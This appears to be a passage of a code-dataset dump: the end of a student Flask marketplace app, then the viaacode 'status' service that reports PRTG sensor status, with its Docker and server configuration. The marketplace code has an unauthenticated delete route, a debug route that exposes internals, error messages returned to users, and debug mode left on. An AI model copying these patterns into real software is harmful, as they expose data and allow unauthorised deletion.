Product.query.order_by(Product.id.asc())\n return render_template('products.html', products=products)\n\n@application.route('/about')\ndef about():\n return render_template('about.html')\n\n@application.route('/contact')\ndef contact():\n return render_template('contact.html')\n\n@application.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n@application.route('/dir')\ndef stuff():\n return str(dir(Product.id))\n\n@application.route('/add', methods=['GET', 'POST'])\ndef add():\n if not session.get('logged_in'):\n return render_template('login.html')\n if str(request.method) == 'POST':\n try:\n\t vals = request.form.to_dict()\n files = request.files.getlist(\"image\")\n for i in range(0, len(files)):\n file = files[i]\n ext = file.filename.rsplit('.', 1)[1].lower()\n if ext in ['png', 'jpg', 'jpeg']:\n filename = \"/static/images/\" + base64.urlsafe_b64encode(file.filename) + \".\" + ext\n file.save(\".\" + filename)\n if i == 0:\n\t product = Product(vals['name'], vals['description'], filename, 1, 0)\n db.session.add(product)\n db.session.commit()\n db.session.close()\n img = Image(vals['name'], filename, i)\n db.session.add(img)\n db.session.commit()\n db.session.close()\n except Exception as err:\n db.session.rollback()\n \t return err.message\n return render_template('add_product.html')\n\n@application.route('/errors')\ndef get_errors():\n return str(errors)\n\n@application.route('/products')\ndef get_products():\n products = Product.query.order_by(Product.id.desc())\n stuff = [x.name for x in products]\n return str(stuff)\n\n@application.route('/pin/<pin_id>')\ndef pin_enlarge(pin_id):\n p = Product.query.filter_by(id=pin_id).first()\n images = Image.query.filter_by(name=p.name).order_by(Image.display_number.asc())\n return render_template('pin_focus.html', p=p, images=images)\n\n@application.route('/delete/<pin_id>')\ndef delete(pin_id):\n Product.query.filter_by(id = pin_id).delete()\n db.session.commit()\n db.session.close()\n return redirect(\"/gallery\")\n\n# run the app.\nif __name__ == \"__main__\":\n # Setting debug to True enables debug output. This line should be\n # removed before deploying a production app.\n application.debug = True\n application.run()\n" }, { "alpha_fraction": 0.5339806079864502, "alphanum_fraction": 0.7135922312736511, "avg_line_length": 16.16666603088379, "blob_id": "db52dbfd62b2b3369ad341ab03136707b610257a", "content_id": "64a2e9dbc970e4388d7cb804c3db57e87d5bfd97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 206, "license_type": "no_license", "max_line_length": 21, "num_lines": 12, "path": "/requirements.txt", "repo_name": "jlstack/Online-Marketplace", "src_encoding": "UTF-8", "text": "Flask==0.10.1\nitsdangerous==0.24\nJinja2==2.9.6\nMarkupSafe==1.0\nWerkzeug==0.12.2\nMySQL-python==1.2.3\nFlask-SQLAlchemy==2.1\nSQLAlchemy==1.0.12\njsonify==0.5\nFlask-Login==0.4.0\nFlask-OpenID==1.2.5\nPyYAML==3.12\n" }, { "alpha_fraction": 0.5844298005104065, "alphanum_fraction": 0.5888158082962036, "avg_line_length": 29.399999618530273, "blob_id": "f1e93d21df419f1bc309eea84ac76169fd9f55e2", "content_id": "245de0ff34f76f871120a5ec71d8d55a81b48363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 912, "license_type": "no_license", "max_line_length": 160, "num_lines": 30, "path": "/application/__init__.py", "repo_name": "jlstack/Online-Marketplace", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask.ext.sqlalchemy import SQLAlchemy\nimport os\n\ndef get_config():\n config = {}\n if 'RDS_HOSTNAME' in os.environ:\n env = {\n\t 'NAME': os.environ['RDS_DB_NAME'],\n\t 'USER': os.environ['RDS_USERNAME'],\n\t 'PASSWORD': os.environ['RDS_PASSWORD'],\n\t 'HOST': os.environ['RDS_HOSTNAME'],\n\t 'PORT': os.environ['RDS_PORT'],\n }\n config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://' + env['USER'] + ':' + env['PASSWORD'] + '@' + env['HOST'] + ':' + env['PORT'] + '/' + env['NAME']\n config['SQLALCHEMY_POOL_RECYCLE'] = 3600\n config['WTF_CSRF_ENABLED'] = True\n else:\n config = None\n return config \n\nconfig = get_config()\napplication = Flask(__name__)\ndb = None\nif config is not None:\n application.config.from_object(config)\n try:\n db = SQLAlchemy(application)\n except Exception as err:\n print(err.message)\n" }, { "alpha_fraction": 0.8421052694320679, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 18, "blob_id": "ffe033926580fed34fcc6c25c2238c10709f518c", "content_id": "59153d6a9c5b346513957ce437281b32930062d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 38, "license_type": "no_license", "max_line_length": 20, "num_lines": 2, "path": "/README.md", "repo_name": "jlstack/Online-Marketplace", "src_encoding": "UTF-8", "text": "# Online-Marketplace\nCAPSTONE Project\n" } ]
5
viaacode/status
https://github.com/viaacode/status
1c7449b61aeb82536faf4d96f4fb6555b6c96e53
fcdaed3e2afdd567e85fa867cdb9921fd78281ef
ddce3b0cdf5e9e618c61178fdb9660c9a77eeb28
refs/heads/master
2020-04-25T09:45:57.779896
2019-04-12T12:31:58
2019-04-12T12:31:58
172,685,858
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 20, "blob_id": "0d944b613501d0c32736001f6256aa883314432f", "content_id": "6a53f35e7a521ecd83baaea0936855bb7c9069cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 42, "license_type": "no_license", "max_line_length": 31, "num_lines": 2, "path": "/docker/run.sh", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "#!/bin/sh\nuwsgi --ini /home/app/uwsgi.ini\n" }, { "alpha_fraction": 0.5868644118309021, "alphanum_fraction": 0.6059321761131287, "avg_line_length": 19.521739959716797, "blob_id": "7e76e9f27ba8841345e5ae965d0f55724db55536", "content_id": "2e60620677135a16bae61bff070e79f44c3fa982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 472, "license_type": "no_license", "max_line_length": 49, "num_lines": 23, "path": "/locustfile.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "from locust import HttpLocust, TaskSet, task\n\nclass WebsiteTasks(TaskSet):\n @task\n def index(self):\n self.client.get(\"/\")\n \n @task\n def status(self):\n self.client.get(\"/status\")\n\n @task\n def hetarchief(self):\n self.client.get(\"/status/hetarchief.png\")\n\n @task\n def ftp(self):\n self.client.get(\"/status/ftp.png\")\n\nclass WebsiteUser(HttpLocust):\n task_set = WebsiteTasks\n min_wait = 5000\n max_wait = 15000\n" }, { "alpha_fraction": 0.693683385848999, "alphanum_fraction": 0.7161339521408081, "avg_line_length": 24.02857208251953, "blob_id": "b1a834eb5324146b6e9cbd7c0fd183e0dc36fdb9", "content_id": "d274e3e251292eaa7c0a08800df9a66051396caa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2628, "license_type": "no_license", "max_line_length": 227, "num_lines": 105, "path": "/README.md", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "# VIAA Status\nQuick, simple service to return status of various platforms through calls to PRTG.\n\n## Usage\n\n#### Install\n\nFirst get the code by cloning the repository from github (alternatively download the zip and extract).\n\n```bash\ngit clone https://github.com/viaacode/status.git\ncd status\n```\n\nDepending on what you want to use as WSGI HTTP Server you need to specify additional requirement to be installed.\n\nCurrently supported:\n\n - uWSGI\n\n ```bash\n python -m pip install '.[uwsgi]'\n ```\n\n - gunicorn\n\n ```bash\n python -m pip install '.[gunicorn]'\n ```\n\n - waitress (supported on Windows)\n\n ```bash\n python -m pip install '.[waitress]'\n ```\n\n#### Configure\nCopy the example `config.ini.example` and fill in necessary config:\n\n```bash\ncp config.ini.example /home/user/prtgconf.ini\nvi /home/user/prtgconf.ini\n```\n\n#### Run\n\nStart server using the `./run.sh` script. By default it will attempt to use `uWSGI`.\n\n```bash\nCONFIG_FILE=/home/user/prtgconf.ini ./run.sh\n```\n\n(will read from `/home/user/prtgconf.ini` and launch http server on port 8080)\n\nBy default the `run.sh` script will read `config.ini` from the current directory. \n\nYou can specify a different port, amount of threads and processes using environmental variables, eg.\n\n```bash\nPROCESSES=4 THREADS=8 PORT=80 ./run.sh\n```\n\nTo run using a different WSGI server than the default uWSGI, use the STRATEGY environmental variable.\n\n```bash\nSTRATEGY=gunicorn ./run.sh\nSTRATEGY=waitress ./run.sh\n```\n\nIf `STRATEGY` is anything different than \"gunicorn\" or \"waitress\", the default `uwsgi` will be used.\n\nTo run with the default Flask WSGI HTTP server (not for production!), use:\n\n```bash\npython src/viaastatus/server/wsgi.py\n```\n\nThere is also a `run.bat` file available for Windows that uses `waitress-serve` to serve the site with 4 threads on port 80.\n\n### Using docker\n\nThe docker image uses `uWSGI` as WSGI HTTP server with `nginx` on top, and `supervisord` to (re)start the processes.\n\n#### Build\n\n```bash\ndocker build -t status:latest .\n```\n\n#### Run\n\n```bash\ndocker run -p 8080:8080 -it --name status --rm status:latest\n```\n\nThe site will then be available at http://127.0.0.1:8080\n\n#### SSL\nIt automatically supports ssl if the directory `./certs/` is available in the project directory (in which case the docker will copy the ssl nginx configs). This directory then needs to contain the `ssl.crt` and `ssl.key` files.\n\nThe SSL secured port is `8443`. It makes sense to map `8080` and `8443` to ports `80` and `443` respectively when running the docker container:\n\n```\ndocker run -p 80:8080 -p 443:8443 -it --name status --rm status:latest\n```\n" }, { "alpha_fraction": 0.5706708431243896, "alphanum_fraction": 0.5756630301475525, "avg_line_length": 28.66666603088379, "blob_id": "449da9f11ee9b288b7513c07dc6d8a13a07f027a", "content_id": "27acd8fe37fb1a3f33ec9c2956fb3c56482c3841", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3205, "license_type": "no_license", "max_line_length": 106, "num_lines": 108, "path": "/src/viaastatus/prtg/api.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "import requests\nimport json\nimport functools\nimport logging\n# from collections import defaultdict\n# from xml.etree import ElementTree\n\n\n# ref: https://stackoverflow.com/questions/7684333/converting-xml-to-dictionary-using-elementtree\n# def etree_to_dict(t):\n# d = {t.tag: {} if t.attrib else None}\n# children = list(t)\n# if children:\n# dd = defaultdict(list)\n# for dc in map(etree_to_dict, children):\n# for k, v in dc.items():\n# dd[k].append(v)\n# d = {t.tag: {k: v[0] if len(v) == 1 else v\n# for k, v in dd.items()}}\n# if t.attrib:\n# d[t.tag].update(('@' + k, v)\n# for k, v in t.attrib.items())\n# if t.text:\n# text = t.text.strip()\n# if children or t.attrib:\n# if text:\n# d[t.tag]['#text'] = text\n# else:\n# d[t.tag] = text\n# return d\n\n\nlogger = logging.getLogger(__name__)\n\n\nentrypoint = '/api'\n\n\nclass PRTGError(Exception):\n pass\n\n\nclass PRTGAuthenticationError(PRTGError):\n pass\n\n\nclass ResponseTypes:\n @staticmethod\n def json(data):\n return json.loads(data)\n\n # @staticmethod\n # def xml(data):\n # return etree_to_dict(ElementTree.XML(data))\n\n\nclass API:\n def __init__(self, host, username, passhash):\n self._requests = requests\n self._host = host\n self._authparams = {\n \"username\": username,\n \"passhash\": passhash\n }\n\n @property\n def requests(self):\n return self._requests\n\n @requests.setter\n def requests(self, val):\n self._requests = val\n\n def _call(self, method, response_type=None, **params):\n if response_type is None:\n response_type = 'json'\n if not hasattr(ResponseTypes, response_type):\n raise ValueError(\"Unknown response type\", response_type)\n url = '%s%s/%s.%s' % (self._host, entrypoint, method, response_type)\n try:\n params = dict(params, **self._authparams)\n response = self._requests.get(url, params=params)\n if response.status_code != 200:\n logger.warning(\"Wrong exit code %d for %s\", response.status_code, url)\n raise PRTGError(\"Invalid HTTP code response\", response.status_code)\n return getattr(ResponseTypes, response_type)(response.content.decode('utf-8'))\n except Exception as e:\n raise PRTGError(e) from e\n\n def __getattr__(self, item):\n return functools.partial(self._call, item)\n\n @staticmethod\n def from_credentials(host, username, password, _requests=None):\n url = '%s%s/getpasshash.htm' % (host, entrypoint)\n params = {\n \"username\": username,\n \"password\": password,\n }\n if _requests is None:\n _requests = requests.Session()\n\n response = _requests.get(url, params=params)\n if response.status_code != 200:\n raise PRTGAuthenticationError(\"Couldn't authenticate\", response.status_code, response.content)\n result = API(host, username, response.content)\n result.requests = _requests\n return result\n\n" }, { "alpha_fraction": 0.6133333444595337, "alphanum_fraction": 0.6168888807296753, "avg_line_length": 32.088233947753906, "blob_id": "3fbb2bfceda9286b521204d1a0ca83765ede0ef7", "content_id": "bb3c29af825baca215fc8e2fdcfedfa034236a71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1125, "license_type": "no_license", "max_line_length": 120, "num_lines": 34, "path": "/src/viaastatus/server/cli.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "from argparse import ArgumentParser\nfrom viaastatus.server import wsgi\nimport logging\n\n\ndef argparser():\n \"\"\"\n Get the help and arguments specific to this module\n \"\"\"\n parser = ArgumentParser(prog='status', description='A service that supplies status information about our platforms')\n\n parser.add_argument('--debug', action='store_true',\n help='run in debug mode')\n parser.add_argument('--host',\n help='hostname or ip to serve api')\n parser.add_argument('--port', type=int, default=8080,\n help='port used by the server')\n parser.add_argument('--log-level', type=str.lower, default='warning', dest='log_level',\n choices=list(map(str.lower, logging._nameToLevel.keys())),\n help='set the logging output level')\n\n return parser\n\n\ndef main():\n args = argparser().parse_args()\n logging.basicConfig(level=args.log_level.upper())\n logging.getLogger().setLevel(args.log_level.upper())\n del args.log_level\n wsgi.create_app().run(**args)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5127041935920715, "alphanum_fraction": 0.5344827771186829, "avg_line_length": 23.488889694213867, "blob_id": "519e61244f8139e4549a6a313e5f6908e6ea6136", "content_id": "b706456ff39514dbc6851dcb8c6a9e2f84beb424", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1102, "license_type": "no_license", "max_line_length": 55, "num_lines": 45, "path": "/setup.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\n\nwith open('README.md') as f:\n long_description = f.read()\n\nwith open('requirements.txt') as f:\n requirements = list(map(str.rstrip, f.readlines()))\n\nsetup(\n name='viaastatus',\n url='https://github.com/viaacode/status/',\n version='0.0.3',\n author='VIAA',\n author_email='support@viaa.be',\n descriptiona='Status services',\n long_description=long_description,\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n ],\n python_requires='>=3.4',\n packages=find_packages(\"src\"),\n package_dir={\"\": \"src\"},\n package_data={'viaastatus': ['server/static/*']},\n include_package_data=True,\n install_requires=requirements,\n extras_require={\n 'test': [\n \"pytest>=4.2.0\"\n ],\n 'loadtest': [\n \"locustio>=0.11.0\"\n ],\n 'gunicorn': [\n 'gunicorn>=19.9.0'\n ],\n 'uwsgi': [\n 'uWSGI>=2.0.18'\n ],\n 'waitress': [\n 'waitress>=1.2.1'\n ]\n },\n platforms='any'\n)\n" }, { "alpha_fraction": 0.6596701741218567, "alphanum_fraction": 0.6746626496315002, "avg_line_length": 36.05555725097656, "blob_id": "861efc1b56dab2461c810b2d4963d04e1a9d19ba", "content_id": "6f37db850ddd0ce729fd03a7b068dfc3012d8a3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 667, "license_type": "no_license", "max_line_length": 140, "num_lines": 18, "path": "/run.sh", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nPORT=${PORT:-8080}\nPROCESSES=${PROCESSES:-4}\nTHREADS=${THREADS:-2}\nSTRATEGY=${STRATEGY:-uwsgi}\nIP=${IP:-0.0.0.0}\n\nif [[ \"$STRATEGY\" == \"gunicorn\" ]]; then\n gunicorn viaastatus.server.wsgi:application --bind \"$IP\":\"$PORT\" --workers \"$PROCESSES\"\nelif [[ \"$STRATEGY\" == \"waitress\" ]]; then\n waitress-serve --port \"$PORT\" --threads \"$THREADS\" viaastatus.server.wsgi:application\nelif [[ \"$STRATEGY\" == \"flask\" ]]; then\n echo \"WARNING: ONLY USE THIS FOR DEVELOPMENT\"\n python src/viaastatus/server/wsgi.py\nelse\n uwsgi --http \"$IP\":\"$PORT\" --wsgi-file src/viaastatus/server/wsgi.py --callable application --processes \"$PROCESSES\" --threads \"$THREADS\"\nfi\n" }, { "alpha_fraction": 0.7301587462425232, "alphanum_fraction": 0.7394958138465881, "avg_line_length": 27.945945739746094, "blob_id": "cfc34785be81749301ec63f909c64981f81c1790", "content_id": "278ad56bb8fa61198c4f01b53cb3700827b885f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1071, "license_type": "no_license", "max_line_length": 141, "num_lines": 37, "path": "/Dockerfile", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "FROM python:3.7-alpine\n\nRUN apk --update add --virtual build-dependencies build-base linux-headers\nRUN apk --update add pcre-dev\nRUN pip install --no-cache-dir --upgrade pip\nRUN pip install --no-cache-dir uwsgi\nRUN apk --update add nginx\nRUN apk --update add supervisor\n\nWORKDIR /home/app\nCOPY requirements.txt .\n\nRUN pip install --no-cache-dir -r requirements.txt\nRUN apk del build-dependencies\nRUN rm -fr /var/cache/apk/*\n\nCOPY . /home/app/\n\nCOPY ./docker/nginx-main.conf /etc/nginx/nginx.conf\nRUN rm /etc/nginx/conf.d/default.conf\nRUN chown -R nginx:nginx /etc/nginx/nginx.conf\n\nCOPY ./docker/uwsgi.ini /home/app/uwsgi.ini\nCOPY ./docker/run.sh /home/app/run.sh\nCOPY ./docker/supervisord.conf /etc/supervisord.conf\n\nRUN pip install --no-cache-dir -e .\n\nRUN mkdir /run/nginx\nRUN chown -R nginx:nginx ./\n\n# if certificates available, copy ssl configs, else copy plain http configs\nRUN test -d /home/app/certs && cp /home/app/docker/nginx-ssl.*.conf /etc/nginx/conf.d/ || cp /home/app/docker/nginx.*.conf /etc/nginx/conf.d/\n\nEXPOSE 8080 8443\n\nCMD [\"/usr/bin/supervisord\"]\n" }, { "alpha_fraction": 0.5283887386322021, "alphanum_fraction": 0.5340153574943542, "avg_line_length": 30.733766555786133, "blob_id": "7e84acf79be80483227a48b9d19c566b98f91c50", "content_id": "b8cd268e54bd6f83d127b53db364c363349810b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9775, "license_type": "no_license", "max_line_length": 115, "num_lines": 308, "path": "/src/viaastatus/server/wsgi.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "from flask import Flask, abort, Response, send_file, request, flash, session, render_template\nfrom flask import url_for, redirect\nfrom viaastatus.prtg import api\nfrom viaastatus.decorators import cacher, templated\nfrom os import environ\nimport logging\nfrom configparser import ConfigParser\nimport re\nimport hmac\nfrom hashlib import sha256\nfrom functools import wraps, partial\nimport argparse\nimport itertools\nimport werkzeug.contrib.cache as workzeug_cache\nfrom viaastatus.server.response import Responses\nimport requests\n\n\nlog_level = logging._nameToLevel[environ.get('VERBOSITY', 'debug').upper()]\nlogging.basicConfig(level=log_level)\nlogger = logging.getLogger(__name__)\nlogging.getLogger().setLevel(log_level)\n\n\ndef normalize(txt):\n txt = txt.replace(' ', '-').lower()\n txt = re.sub('-{2,}', '-', txt)\n txt = re.sub(r'\\([^)]*\\)', '', txt)\n txt = re.sub(r'\\[[^)]*\\]', '', txt)\n txt = re.sub('-[0-9]*$', '', txt)\n txt = re.sub('-{2,}', '-', txt)\n return txt\n\n\ndef create_app():\n app = Flask(__name__)\n\n config = ConfigParser()\n config.read(environ.get('CONFIG_FILE', 'config.ini'))\n\n app_config = config['app']\n cache_timeout = int(app_config.get('cache_timeout', 30))\n if cache_timeout > 0:\n cache_ = workzeug_cache.SimpleCache(default_timeout=cache_timeout)\n else:\n cache_ = workzeug_cache.NullCache()\n\n cache = cacher(cache_)()\n cache_other = cacher(cache_, timeout=cache_timeout, key='other/%s')()\n app.secret_key = app_config['secret_key']\n salt = app_config['salt']\n\n @cache_other\n def get_sensors(prtg_) -> dict:\n sensors = {}\n cols = 'objid,name,device'\n ippattern = re.compile(r'[\\d\\.]+')\n for sensor in prtg_.table(content='sensors',\n filter_type=['http', 'ftp', 'httptransaction'],\n filter_active=-1,\n columns=cols)['sensors']:\n parentname = sensor['device']\n sensor_name = sensor['name']\n if sensor_name.startswith('HTTP'):\n # filter out IPs\n if ippattern.fullmatch(parentname):\n continue\n sensor_name = parentname + ' - ' + sensor_name\n sensor_name = normalize(sensor_name)\n\n if sensor_name in sensors:\n logger.warning(\"Sensor '%s' is conflicting (current id: %d, requested to set to: %d), ignored\",\n sensor_name,\n sensors[sensor_name],\n sensor['objid'])\n continue\n\n sensors[sensor_name] = int(sensor['objid'])\n return sensors\n\n def _token(*args, **kwargs):\n \"\"\"Calculates the token\n \"\"\"\n params = str([args, kwargs])\n return hmac.new(salt.encode('utf-8'), params.encode('utf-8'), sha256).hexdigest()[2:10]\n\n def secured_by_login(func):\n \"\"\"\n Decorator to define routes secured_by_login\n \"\"\"\n\n @wraps(func)\n def _(*args, **kwargs):\n if not login_settings:\n logger.info('Login requested but refused since no login data in config')\n abort(404)\n\n if not session.get('authenticated'):\n return _login()\n\n return func(*args, **kwargs)\n return _\n\n def secured_by_token(func):\n \"\"\"\n Decorator to define routes secured_by_token.\n \"\"\"\n\n @wraps(func)\n def _(*args, **kwargs):\n check_token = 'authenticated' not in session\n if 'ignore_token' in kwargs:\n check_token = not kwargs['ignore_token']\n del kwargs['ignore_token']\n\n if check_token:\n token = request.args.get('token')\n expected_token = _token(*args, **kwargs)\n if token != expected_token:\n logger.warning(\"Wrong token '%s' for %s, expected: '%s'\", token, func.__name__, expected_token)\n abort(401)\n return func(*args, **kwargs)\n\n _._secured_by_token = _token\n\n return _\n\n prtg_conf = config['prtg']\n _requests = requests.Session()\n if 'certificate' in prtg_conf:\n _requests.cert = (prtg_conf['certificate'], prtg_conf['private_key'])\n prtg = api.API.from_credentials(prtg_conf['host'], prtg_conf['username'], prtg_conf['password'], _requests)\n\n\n login_settings = None\n if config.has_section('login'):\n login_settings = dict(config['login'])\n\n class Choices:\n @staticmethod\n def sensor():\n return list(get_sensors(prtg).keys())\n\n @staticmethod\n def type_():\n return {'json', 'png', 'txt', 'html'}\n\n @staticmethod\n def ttype():\n return {'json', 'txt', 'html'}\n\n @app.route('/login', methods=['GET'])\n @templated('login.html')\n def _login():\n pass\n\n @app.route('/urls', methods=['GET'])\n @secured_by_login\n @templated('urls.html')\n def _urls():\n context = {}\n rules = [rule\n for rule in application.url_map.iter_rules()\n if rule.is_leaf\n and rule.endpoint != 'static'\n and not rule.endpoint.startswith('_')]\n method_types = {}\n for i in range(len(rules)):\n rule = rules[i]\n rules[i] = rules[i].__dict__\n kargs = [argname for argname in rule.arguments if hasattr(Choices, argname)]\n vargs = [getattr(Choices, argname)() for argname in kargs]\n\n methods = []\n for params in itertools.product(*vargs):\n params = dict(zip(kargs, params))\n url = url_for(rule.endpoint, **params)\n view_func = app.view_functions[rule.endpoint]\n if hasattr(view_func, '_secured_by_token'):\n url += '?token=%s' % (view_func._secured_by_token(**params))\n methods.append({\n \"name\": rule.endpoint,\n \"params\": params,\n \"url\": url,\n })\n method_types[rule.endpoint] = methods\n\n context['method_types'] = method_types\n return context\n\n @app.route('/login', methods=['POST'])\n def _do_login():\n if not login_settings:\n logger.info('Login requested but refused since no login data in config')\n abort(404)\n\n if request.form['password'] != login_settings['password'] or \\\n request.form['username'] != login_settings['username']:\n flash('Invalid credentials!')\n else:\n session['authenticated'] = True\n return redirect('/urls')\n\n @app.route('/', methods=['GET'])\n @cache\n @templated('oldstatus.html')\n def index_():\n pass\n\n @app.route('/sensors.<ttype>')\n @cache\n @secured_by_token\n def sensors_(ttype):\n if ttype not in Choices.ttype():\n abort(404)\n\n return getattr(Responses, ttype)(Choices.sensor())\n\n @app.route('/status/<sensor>.<type_>', methods=['GET'])\n @cache\n @secured_by_token\n def status_(sensor, type_):\n \"\"\"\n :param str sensor: Name of the sensor\n :param str type_: Response type\n :return:\n \"\"\"\n\n if type_ not in Choices.type_():\n abort(404)\n\n try:\n sensors = get_sensors(prtg)\n if sensor not in sensors:\n abort(404)\n\n sensor_id = sensors[sensor]\n status = prtg.getsensordetails(id=sensor_id)['sensordata']\n except Exception as e:\n if type_ == 'png':\n return Responses.status(None)\n\n raise e\n\n if type_ == 'png':\n if int(status['statusid']) in [3, 4]:\n status = True\n elif int(status['statusid']) in [7, 8, 9, 10, 12]:\n status = None\n else:\n status = False\n return Responses.status(status)\n\n if type_ == 'txt':\n status = status['statustext']\n elif type_ == 'html':\n status_msg = '''\n <dl>\n <dt>%s</dt>\n <dd><a href=\"%s/sensor.htm?id=%d\">%s</a></dd>\n </dl>\n '''\n status = status_msg % (prtg._host, sensor, sensor_id, status['statustext'])\n\n return getattr(Responses, type_)(status)\n\n @app.route('/status', methods=['GET'])\n @templated('statuspage.html')\n def status_page():\n if not config.has_section('aliases'):\n abort(404)\n\n aliases = {url: fwd.split(':')[1] for url, fwd in config['aliases'].items()}\n return dict(aliases=aliases)\n\n\n # add aliases\n if config.has_section('aliases'):\n for url, target in config['aliases'].items():\n target = target.split(':')\n name = target.pop(0)\n func = app.view_functions[name]\n kwargs = dict(ignore_token=True)\n func = partial(func, *target, **kwargs)\n func.__name__ = url\n app.route(url)(func)\n\n return app\n\n\napplication = create_app()\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--debug', action='store_true',\n help='run in debug mode')\n parser.add_argument('--host',\n help='hostname or ip to serve app')\n parser.add_argument('--port', type=int, default=1111,\n help='port used by the server')\n\n args = parser.parse_args()\n\n if args.debug:\n logging.basicConfig(level=logging.DEBUG)\n logger.setLevel(logging.DEBUG)\n\n application.run(host=args.host, port=args.port, debug=args.debug)\n\n" }, { "alpha_fraction": 0.469696968793869, "alphanum_fraction": 0.6969696879386902, "avg_line_length": 15.5, "blob_id": "10e15d6499b889682c4120af34d68c76881ff95e", "content_id": "7351d89962d4f74ed2665435884d5f5386a76938", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 66, "license_type": "no_license", "max_line_length": 18, "num_lines": 4, "path": "/requirements.txt", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "requests==2.21.0\nsetuptools==39.0.1\nFlask==1.0.2\nWerkzeug==0.14.1\n" }, { "alpha_fraction": 0.5363321900367737, "alphanum_fraction": 0.5363321900367737, "avg_line_length": 28.64102554321289, "blob_id": "c2d91939ffc1135676b4b81816f550a9c7343c37", "content_id": "8d8756986696e87b025878f1d9530e5b8adbae51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1156, "license_type": "no_license", "max_line_length": 60, "num_lines": 39, "path": "/src/viaastatus/decorators.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "from functools import wraps, partial\nfrom flask import request, render_template\n\n\ndef cached(key='view/%s', cache=None, **extra_cache_kwargs):\n def decorator(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n cache_key = key % request.path\n rv = cache.get(cache_key)\n if rv is not None:\n return rv\n rv = f(*args, **kwargs)\n cache.set(cache_key, rv, **extra_cache_kwargs)\n return rv\n return decorated\n return decorator\n\n\ndef cacher(cache, **kwargs):\n return partial(cached, cache=cache, **kwargs)\n\n\ndef templated(template=None):\n def decorator(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n template_name = template\n if template_name is None:\n template_name = request.endpoint \\\n .replace('.', '/') + '.html'\n ctx = f(*args, **kwargs)\n if ctx is None:\n ctx = {}\n elif not isinstance(ctx, dict):\n return ctx\n return render_template(template_name, **ctx)\n return decorated\n return decorator\n" }, { "alpha_fraction": 0.7906976938247681, "alphanum_fraction": 0.8106312155723572, "avg_line_length": 20.5, "blob_id": "5e204d4513013263b0e44c6b4451d38579a25045", "content_id": "0cb5399496111d3760ac5fcde15b628beaf015e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 301, "license_type": "no_license", "max_line_length": 57, "num_lines": 14, "path": "/docker/uwsgi.ini", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "[uwsgi]\nwsgi-file=/home/app/src/viaastatus/server/wsgi.py \ncallable=application\nsocket=/home/app/uwsgi.sock\nchown-socket=nginx:nginx\nchmod-socket=664\nneed-app=true\ndie-on-term=true\nprocesses=5\nmaster=true\nhook-master-start=unix_signal:15 gracefully_kill_them_all\nthunder-lock=true\nuid=nginx\ngid=nginx\n" }, { "alpha_fraction": 0.5814319252967834, "alphanum_fraction": 0.5814319252967834, "avg_line_length": 22.98113250732422, "blob_id": "2c276a01fd43065cb71f122fb7406fa943a95b6d", "content_id": "2156aafaac1c64d8fca5e5c8c79a22b635fce854", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1271, "license_type": "no_license", "max_line_length": 90, "num_lines": 53, "path": "/src/viaastatus/server/response.py", "repo_name": "viaacode/status", "src_encoding": "UTF-8", "text": "import os\nfrom flask import jsonify, Response\nimport flask\n\n\nclass FileResponse(Response):\n default_mimetype = 'application/octet-stream'\n\n def __init__(self, filename, **kwargs):\n if not os.path.isabs(filename):\n\n filename = os.path.join(flask.current_app.root_path, filename)\n\n with open(filename, 'rb') as f:\n contents = f.read()\n\n response = contents\n super().__init__(response, **kwargs)\n\n\nclass StatusResponse(FileResponse):\n default_mimetype = 'image/png'\n\n def __init__(self, status, **kwargs):\n if status is True:\n status = 'ok'\n elif status is False:\n status = 'nok'\n else:\n status = 'unk'\n\n filename = 'static/status-%s.png' % (status,)\n super().__init__(filename, **kwargs)\n\n\nclass Responses:\n @staticmethod\n def json(obj):\n return jsonify(obj)\n\n @staticmethod\n def html(obj):\n return Response('<html><body>%s</body></html>' % (obj,), content_type='text/html')\n\n 